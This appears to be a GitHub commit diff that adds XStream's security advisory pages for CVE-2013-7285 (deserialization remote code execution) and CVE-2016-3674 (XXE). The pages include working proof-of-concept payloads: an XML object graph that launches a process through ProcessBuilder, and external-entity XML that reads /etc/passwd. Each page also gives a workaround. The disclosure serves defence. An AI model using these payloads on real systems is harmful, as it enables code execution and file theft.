Skip to content

Commit 42a4342

Browse files
joehnijoehni
committed
Update site for 1.4.20.
1 parent 380bc79 commit 42a4342

File tree

1,880 files changed

+283242
-3586
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

1,880 files changed

+283242
-3586
lines changed

‎1.4.20/CVE-2013-7285.html

+184
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2+
<html xmlns="http://www.w3.org/1999/xhtml">
3+
<!--
4+
Copyright (C) 2005, 2006 Joe Walnes.
5+
Copyright (C) 2006, 2007, 2008, 2021 XStream committers.
6+
All rights reserved.
7+
8+
The software in this package is published under the terms of the BSD
9+
style license a copy of which has been included with this distribution in
10+
the LICENSE.txt file.
11+
12+
Created on 29. January 2005 by Joe Walnes
13+
-->
14+
<head>
15+
<title>XStream - CVE-2013-7285</title>
16+
<link rel="stylesheet" type="text/css" href="style.css"/>
17+
18+
19+
20+
21+
<!-- Google analytics -->
22+
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
23+
</script>
24+
<script type="text/javascript">
25+
_uacct = "UA-110973-2";
26+
urchinTracker();
27+
</script>
28+
29+
</head>
30+
<body>
31+
32+
<div id="banner">
33+
<a href="index.html"><img id="logo" src="logo.gif" alt="XStream"/></a>
34+
</div>
35+
36+
<div id="center" class="Content2Column"> <!-- Content3Column for index -->
37+
<div id="content">
38+
<h1 class="FirstChild">CVE-2013-7285</h1>
39+
40+
41+
42+
<h2 id="vulnerability">Vulnerability</h2>
43+
44+
<p>CVE-2013-7285: XStream can be used for Remote Code Execution.</p>
45+
46+
<h2 id="affected_versions">Affected Versions</h2>
47+
48+
<p>All versions until and including version 1.4.6 are affected, but a <a href="#workaround">workaround</a> exist.</p>
49+
50+
<p>Version 1.4.10 is affected if the security framework has not been initialized.</p>
51+
52+
<h2 id="description">Description</h2>
53+
54+
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
55+
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
56+
input stream and replace or inject objects, that can execute arbitrary shell commands.</p>
57+
58+
<h2 id="reproduction">Steps to Reproduce</h2>
59+
60+
<p>Create a simple interface e.g. named <em>Contact</em> and an implementation class. Use XStream to marshal such
61+
an object to XML. Replace the XML with following snippet and unmarshal it again with XStream:</p>
62+
<div class="Source XML"><pre>&lt;contact class='dynamic-proxy'&gt;
63+
&lt;interface&gt;org.company.model.Contact&lt;/interface&gt;
64+
&lt;handler class='java.beans.EventHandler'&gt;
65+
&lt;target class='java.lang.ProcessBuilder'&gt;
66+
&lt;command&gt;
67+
&lt;string&gt;calc.exe&lt;/string&gt;
68+
&lt;/command&gt;
69+
&lt;/target&gt;
70+
&lt;action&gt;start&lt;/action&gt;
71+
&lt;/handler&gt;
72+
&lt;/contact&gt;
73+
</pre></div>
74+
<div class="Source Java"><pre>XStream xstream = new XStream();
75+
Contact contact = (Contact)xstream.fromXML(xml);
76+
</pre></div>
77+
78+
<p>Then as soon as the code calls any method on the Contact instance, the payload gets executed, e.g.
79+
contact.getFirstName().</p>
80+
81+
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
82+
83+
<h2 id="impact">Impact</h2>
84+
85+
<p>The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed
86+
input stream.</p>
87+
88+
<h2 id="workaround">Workaround</h2>
89+
<p>Users can register an own converter for dynamic proxies, the <em>java.beans.EventHandler</em> type or for the
90+
<em>java.lang.ProcessBuilder</em> type, that also protects against an attack for this special case:</p>
91+
<div class="Source Java"><pre>xstream.registerConverter(new Converter() {
92+
public boolean canConvert(Class type) {
93+
return type != null &amp;&amp; (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
94+
}
95+
96+
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
97+
throw new ConversionException("Unsupported type due to security reasons.");
98+
}
99+
100+
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
101+
throw new ConversionException("Unsupported type due to security reasons.");
102+
}
103+
}, XStream.PRIORITY_LOW);
104+
</pre></div>
105+
106+
<h2 id="credits">Credits</h2>
107+
108+
<p>The vulnerability was discovered and reported by Pierre Francis Ernst of IBM Canada.</p>
109+
110+
111+
112+
<br/>
113+
114+
</div>
115+
</div>
116+
117+
<div class="SidePanel" id="left">
118+
<div class="MenuGroup">
119+
<h1>Software</h1>
120+
<ul>
121+
<li><a href="index.html">About XStream</a></li>
122+
<li><a href="news.html">News</a></li>
123+
<li><a href="changes.html">Change History</a></li>
124+
<li><a href="security.html">Security Aspects</a></li>
125+
<li><a href="versioning.html">About Versioning</a></li>
126+
</ul>
127+
</div>
128+
<div class="MenuGroup">
129+
<h1>Evaluating XStream</h1>
130+
<ul>
131+
<li><a href="tutorial.html">Two Minute Tutorial</a></li>
132+
<li><a href="license.html">License</a></li>
133+
<li><a href="download.html">Download</a></li>
134+
<li><a href="references.html">References</a></li>
135+
<li><a href="benchmarks.html">Benchmarks</a></li>
136+
<li><a href="https://www.openhub.net/p/xstream">Code Statistics</a></li>
137+
</ul>
138+
</div>
139+
<div class="MenuGroup">
140+
<h1>Using XStream</h1>
141+
<ul>
142+
<li><a href="architecture.html">Architecture Overview</a></li>
143+
<li><a href="graphs.html">Object references</a></li>
144+
<li><a href="manual-tweaking-output.html">Tweaking the Output</a></li>
145+
<li><a href="converters.html">Converters</a></li>
146+
<li><a href="faq.html">Frequently Asked Questions</a></li>
147+
<li><a href="mailing-lists.html">Mailing Lists</a></li>
148+
<li><a href="issues.html">Reporting Issues</a></li>
149+
</ul>
150+
</div>
151+
<div class="MenuGroup">
152+
<h1>Javadoc</h1>
153+
<ul>
154+
<li><a href="javadoc/index.html">XStream Core</a></li>
155+
<li><a href="hibernate-javadoc/index.html">Hibernate Extensions</a></li>
156+
<li><a href="jmh-javadoc/index.html">JMH Module</a></li>
157+
</ul>
158+
</div>
159+
<div class="MenuGroup">
160+
<h1>Tutorials</h1>
161+
<ul>
162+
<li><a href="tutorial.html">Two Minute Tutorial</a></li>
163+
<li><a href="alias-tutorial.html">Alias Tutorial</a></li>
164+
<li><a href="annotations-tutorial.html">Annotations Tutorial</a></li>
165+
<li><a href="converter-tutorial.html">Converter Tutorial</a></li>
166+
<li><a href="objectstream.html">Object Streams Tutorial</a></li>
167+
<li><a href="persistence-tutorial.html">Persistence API Tutorial</a></li>
168+
<li><a href="json-tutorial.html">JSON Tutorial</a></li>
169+
<li><a href="http://www.studytrails.com/java/xml/xstream/xstream-introduction.jsp">StudyTrails</a></li>
170+
</ul>
171+
</div>
172+
<div class="MenuGroup">
173+
<h1>Developing XStream</h1>
174+
<ul>
175+
<li><a href="how-to-contribute.html">How to Contribute</a></li>
176+
<li><a href="team.html">Development Team</a></li>
177+
<li><a href="repository.html">Source Repository</a></li>
178+
<li><a href="https://travis-ci.org/x-stream/xstream/branches">Continuous Integration</a></li>
179+
</ul>
180+
</div>
181+
</div>
182+
183+
</body>
184+
</html>

‎1.4.20/CVE-2016-3674.html

+187
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2+
<html xmlns="http://www.w3.org/1999/xhtml">
3+
<!--
4+
Copyright (C) 2005, 2006 Joe Walnes.
5+
Copyright (C) 2006, 2007, 2008, 2021 XStream committers.
6+
All rights reserved.
7+
8+
The software in this package is published under the terms of the BSD
9+
style license a copy of which has been included with this distribution in
10+
the LICENSE.txt file.
11+
12+
Created on 29. January 2005 by Joe Walnes
13+
-->
14+
<head>
15+
<title>XStream - CVE-2016-3674</title>
16+
<link rel="stylesheet" type="text/css" href="style.css"/>
17+
18+
19+
20+
21+
<!-- Google analytics -->
22+
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
23+
</script>
24+
<script type="text/javascript">
25+
_uacct = "UA-110973-2";
26+
urchinTracker();
27+
</script>
28+
29+
</head>
30+
<body>
31+
32+
<div id="banner">
33+
<a href="index.html"><img id="logo" src="logo.gif" alt="XStream"/></a>
34+
</div>
35+
36+
<div id="center" class="Content2Column"> <!-- Content3Column for index -->
37+
<div id="content">
38+
<h1 class="FirstChild">CVE-2016-3674</h1>
39+
40+
41+
42+
<h2 id="vulnerability">Vulnerability</h2>
43+
44+
<p>CVE-2016-3674: XML External Entity (XXE) Vulnerability in XStream.</p>
45+
46+
<h2 id="affected_versions">Affected Versions</h2>
47+
48+
<p>XStream is not vulnerable, if the default XML Pull Parser is used (Xpp3 or kXML2), since these parser types do
49+
not process XML entities at all.</p>
50+
51+
<p>All versions until and including version 1.4.8 are affected, if they use explicitly one of the following parsers:</p>
52+
<ul>
53+
<li>DOM4J</li>
54+
<li>DOM</li>
55+
<li>JDOM</li>
56+
<li>JDOM2</li>
57+
<li>StAX implementation</li>
58+
<li>XOM</li>
59+
</ul>
60+
61+
<p>XStream's HierarchicalStreamDriver implementations will now explicitly turn off the processing of external
62+
entities, but the setting is not respected by all parser implementations. XStream stays therefore vulnerable in
63+
future, if one of the following parser implementations is explicitly used:</p>
64+
<ul>
65+
<li>DOM implementation from Java 5 runtime and below</li>
66+
<li>StAX implementation from Java 6 runtime and below</li>
67+
<li>StAX implementation from BEA (old reference implementation)</li>
68+
<li>XOM</li>
69+
</ul>
70+
71+
<p>See <a href="faq.html#Security_XXEVulnerability">FAQ</a> for a matrix explaining some parser behavior.</p>
72+
73+
<h2 id="description">Description</h2>
74+
75+
<p>XStream supports a lot of different XML parsers. Some of those can also process external entities which was
76+
enabled by default. An attacker could therefore provide manipulated XML as input to access data on the file
77+
system, see <a href="https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing">XXE Vulnerability</a>.</p>
78+
79+
<h2 id="reproduction">Steps to Reproduce</h2>
80+
81+
<p>An attacker might use external general or parameter entities:</p>
82+
<div class="Source XML"><pre>&lt;?xml version=&quot;1.0&quot;&gt;
83+
&lt;!DOCTYPE root [
84+
&lt;!ELEMENT string (#PCDATA)&gt;
85+
&lt;!ENTITY content SYSTEM &quot;file:/etc/passwd&quot;&gt;
86+
]&gt;&lt;string&gt;&amp;content;&lt;/string&gt;
87+
</pre></div>
88+
<div class="Source XML"><pre>&lt;?xml version=&quot;1.0&quot;&gt;
89+
&lt;!DOCTYPE root [
90+
&lt;!ELEMENT string (#PCDATA)&gt;
91+
&lt;!ENTITY content SYSTEM &quot;file:/etc/passwd&quot;&gt;
92+
%content;
93+
]&gt;&lt;string&gt;test&lt;/string&gt;
94+
</pre></div>
95+
<p>Use one of the XML documents above, initialize XStream with a vulnerable parser and unmarshal the XML:</p>
96+
<div class="Source Java"><pre>XStream xstream = new XStream();
97+
String s = (String)xstream.fromXML(xml);
98+
</pre></div>
99+
100+
<h2 id="impact">Impact</h2>
101+
102+
<p>The vulnerability may allow a remote attacker to retrieve the content of arbitrary files with known locations in
103+
a local file system if the Java process has read access.</p>
104+
105+
<h2 id="workarounds">Workaround</h2>
106+
107+
<p>Use one of the XML Pull Parser implementations.</p>
108+
109+
<h2 id="credits">Credits</h2>
110+
111+
<p>The vulnerability was discovered and reported by Alexander Klink.</p>
112+
113+
114+
115+
<br/>
116+
117+
</div>
118+
</div>
119+
120+
<div class="SidePanel" id="left">
121+
<div class="MenuGroup">
122+
<h1>Software</h1>
123+
<ul>
124+
<li><a href="index.html">About XStream</a></li>
125+
<li><a href="news.html">News</a></li>
126+
<li><a href="changes.html">Change History</a></li>
127+
<li><a href="security.html">Security Aspects</a></li>
128+
<li><a href="versioning.html">About Versioning</a></li>
129+
</ul>
130+
</div>
131+
<div class="MenuGroup">
132+
<h1>Evaluating XStream</h1>
133+
<ul>
134+
<li><a href="tutorial.html">Two Minute Tutorial</a></li>
135+
<li><a href="license.html">License</a></li>
136+
<li><a href="download.html">Download</a></li>
137+
<li><a href="references.html">References</a></li>
138+
<li><a href="benchmarks.html">Benchmarks</a></li>
139+
<li><a href="https://www.openhub.net/p/xstream">Code Statistics</a></li>
140+
</ul>
141+
</div>
142+
<div class="MenuGroup">
143+
<h1>Using XStream</h1>
144+
<ul>
145+
<li><a href="architecture.html">Architecture Overview</a></li>
146+
<li><a href="graphs.html">Object references</a></li>
147+
<li><a href="manual-tweaking-output.html">Tweaking the Output</a></li>
148+
<li><a href="converters.html">Converters</a></li>
149+
<li><a href="faq.html">Frequently Asked Questions</a></li>
150+
<li><a href="mailing-lists.html">Mailing Lists</a></li>
151+
<li><a href="issues.html">Reporting Issues</a></li>
152+
</ul>
153+
</div>
154+
<div class="MenuGroup">
155+
<h1>Javadoc</h1>
156+
<ul>
157+
<li><a href="javadoc/index.html">XStream Core</a></li>
158+
<li><a href="hibernate-javadoc/index.html">Hibernate Extensions</a></li>
159+
<li><a href="jmh-javadoc/index.html">JMH Module</a></li>
160+
</ul>
161+
</div>
162+
<div class="MenuGroup">
163+
<h1>Tutorials</h1>
164+
<ul>
165+
<li><a href="tutorial.html">Two Minute Tutorial</a></li>
166+
<li><a href="alias-tutorial.html">Alias Tutorial</a></li>
167+
<li><a href="annotations-tutorial.html">Annotations Tutorial</a></li>
168+
<li><a href="converter-tutorial.html">Converter Tutorial</a></li>
169+
<li><a href="objectstream.html">Object Streams Tutorial</a></li>
170+
<li><a href="persistence-tutorial.html">Persistence API Tutorial</a></li>
171+
<li><a href="json-tutorial.html">JSON Tutorial</a></li>
172+
<li><a href="http://www.studytrails.com/java/xml/xstream/xstream-introduction.jsp">StudyTrails</a></li>
173+
</ul>
174+
</div>
175+
<div class="MenuGroup">
176+
<h1>Developing XStream</h1>
177+
<ul>
178+
<li><a href="how-to-contribute.html">How to Contribute</a></li>
179+
<li><a href="team.html">Development Team</a></li>
180+
<li><a href="repository.html">Source Repository</a></li>
181+
<li><a href="https://travis-ci.org/x-stream/xstream/branches">Continuous Integration</a></li>
182+
</ul>
183+
</div>
184+
</div>
185+
186+
</body>
187+
</html>

0 commit comments

Comments
 (0)